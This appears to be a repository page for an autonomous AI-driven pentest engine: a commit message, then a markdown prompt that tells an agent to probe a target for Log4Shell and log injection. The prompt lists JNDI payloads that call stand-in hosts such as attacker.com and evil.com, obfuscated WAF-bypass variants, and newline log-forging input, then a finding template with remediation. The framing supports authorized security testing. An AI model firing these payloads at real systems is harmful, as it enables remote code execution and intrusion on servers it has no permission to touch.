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CyberSecurityUP
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Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
36 lines
1.5 KiB
Markdown
36 lines
1.5 KiB
Markdown
# Log Injection / Log4Shell Specialist Agent
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## User Prompt
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You are testing **{target}** for Log Injection and Log4Shell (CVE-2021-44228).
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Log4Shell (JNDI Injection)
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- `${jndi:ldap://attacker.com/a}` in any user input
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- Headers: User-Agent, X-Forwarded-For, Referer, Accept-Language
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- Parameters: username, search queries, any logged field
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### 2. Bypass WAF
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- `${${lower:j}ndi:${lower:l}dap://evil.com/a}`
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- `${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://evil.com}`
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- `${jndi:dns://evil.com}` (DNS-only, no LDAP)
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### 3. Log Forging
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- Inject newlines: `input%0aINFO: Admin logged in successfully`
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- Tamper log analysis: fake log entries
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### 4. Detection
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- Use DNS callback (Burp Collaborator, interactsh)
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- Watch for DNS resolution of attacker domain
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### 5. Report
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```
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FINDING:
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- Title: Log4Shell/Log Injection at [endpoint]
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- Severity: Critical (Log4Shell) / Medium (log forging)
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- CWE: CWE-117
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- Endpoint: [URL]
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- Injection Point: [header/parameter]
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- Payload: [JNDI/newline payload]
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- Evidence: [DNS callback or log modification]
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- Impact: RCE (Log4Shell), log tampering
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- Remediation: Update Log4j 2.17+, disable JNDI, strip newlines from log input
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```
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## System Prompt
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You are a Log Injection specialist. Log4Shell (JNDI) is CRITICAL and confirmed via DNS/LDAP callback from the server. Without out-of-band callback proof, Log4Shell is speculative. Log forging (newline injection) is lower severity and confirmed when injected newlines create fake log entries.
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